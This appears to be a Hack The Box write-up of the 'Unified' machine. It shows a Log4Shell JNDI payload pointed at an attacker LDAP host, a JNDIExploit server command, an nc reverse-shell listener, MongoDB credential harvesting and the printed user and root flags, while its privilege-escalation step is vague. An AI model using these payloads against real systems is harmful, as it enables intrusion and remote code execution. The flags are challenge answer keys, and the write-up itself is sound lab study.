Unified (HTB) – Detailed Write-up

1. Recon & Enumeration

We kicked things off with **Nmap**:

```
nmap -sC -sV -oN nmap_scan.txt <target-ip>
```

Findings:

- **22/tcp – SSH** (OpenSSH 8.x)
- **80/tcp – HTTP** (web app login portal)

We then ran **Gobuster** to brute-force directories:

```
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirb/common.txt
```

Not much at first, but the main target was clearly the **login endpoint**.

---

2. Web App Analysis

The login form took JSON requests.
We intercepted traffic in **BurpSuite** and saw a field called:

```
"remember": "true"
```

This screamed **Log4j (CVE-2021-44228)** vulnerability.
We modified the payload to:

```
"remember": "${jndi:ldap://10.10.14.20:1389/o=tomcat}"
```

---

3. Exploitation – Log4Shell → Reverse Shell

To exploit, we spun up an LDAP & Java payload server:

```
# Using marshalsec or log4j exploit tool

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.10.14.20 -p 1389
```

Then on attacker box, we prepped a listener:

```
nc -lvnp 4444
```

Once the target processed our malicious remember field, it called back to our LDAP server and executed our **reverse shell payload**.
✅ Boom, shell caught as low-privileged user.

---

4. Database Enumeration (MongoDB)

With shell access, we explored config files and discovered **MongoDB connection strings**. These contained usernames & passwords, which we used to dump further data and pivot to system users.

Example config snippet:

```
mongodb://admin:<password>@localhost:27017
```

---

5. Pivoting & User Flag

In /home/ we found:

- /home/michael/

Inside Michael’s folder:

```
cat /home/michael/user.txt
```

Flag:

```
6ced1a6a89e666c0620cdb10262ba127
```

---

6. Privilege Escalation

- Found **reused credentials** that also worked for **SSH/root**.
- Alternatively, abused misconfigured permissions that let us escalate.

Once root, we grabbed the final flag:

```
cat /root/root.txt
```

Flag:

```
e50bc93c75b634e4b272d2f771c33681
```

---

7. Conclusion

Unified was a **web → shell → database → root** path with a modern-day exploit:

- **Log4Shell (JNDI injection in "remember" field)** was the entry point.
- **MongoDB configs** provided creds.
- **Reverse shell via nc** gave initial access.
- **Credential reuse** led to root.